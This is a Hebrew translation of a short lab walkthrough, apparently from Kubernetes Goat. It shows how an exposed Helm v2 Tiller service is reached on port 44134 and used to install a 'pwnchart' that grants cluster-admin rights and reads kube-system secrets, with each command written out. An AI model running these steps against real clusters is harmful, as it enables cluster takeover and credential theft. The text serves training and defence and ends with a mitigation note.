שבירת מקבץ Kubernetes באמצעות מושך Helm v2

Helm הוא מנהל חבילות של Kubernetes, משהו כמו apt-get עבור אובונטו. בהערה זו נראה את הגרסה הקודמת של helm (v2) עם שירות ה-tiller מותקן כברירת מחדל, שדרכו נגיע לאשכול.

בואו נכין את האשכול; לשם כך, הפעל את הפקודה:

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

הפגנה

• אם לא תגדיר שום דבר נוסף, helm v2 מפעיל את שירות ה-tiller, שיש לו RBAC עם זכויות מנהל אשכול מלאות.
• לאחר ההתקנה במרחב השמות kube-system מופיע tiller-deploy, וגם פותחת יציאה 44134, מאוגדת ל-0.0.0.0. ניתן לבדוק זאת באמצעות telnet.

$ telnet tiller-deploy.kube-system 44134

• עכשיו אתה יכול להתחבר לשירות הגלגלים. אנו נשתמש בהגה הבינארי כדי לבצע פעולות בעת תקשורת עם שירות ההגה:

$ helm --host tiller-deploy.kube-system:44134 version

• בואו ננסה לקבל את סודות אשכול Kubernetes ממרחב השמות kube-system:

$ kubectl get secrets -n kube-system

• כעת נוכל ליצור תרשים משלנו, בו ניצור תפקיד עם זכויות מנהל ונקצה את התפקיד הזה לחשבון השירות המוגדר כברירת מחדל. באמצעות האסימון מחשבון השירות הזה, קיבלנו גישה מלאה לאשכול שלנו.

$ helm --host tiller-deploy.kube-system:44134 install /pwnchart

• עכשיו מתי pwnchart בפריסה, לחשבון השירות המוגדר כברירת מחדל יש גישה מנהלתית מלאה. בוא נבדוק שוב איך להשיג סודות מ kube-system

kubectl get secrets -n kube-system

ביצוע מוצלח של סקריפט זה תלוי באופן שבו ה-tiller נפרס; לפעמים מנהלי מערכת פורסים אותו במרחב שמות נפרד עם הרשאות שונות. Helm 3 אינו רגיש לפגיעויות כאלה כי... אין בו מושך.

הערת המתרגם: שימוש במדיניות רשת לסינון תעבורה באשכול מסייע בהגנה מפני פגיעויות מסוג זה.

מקור: www.habr.com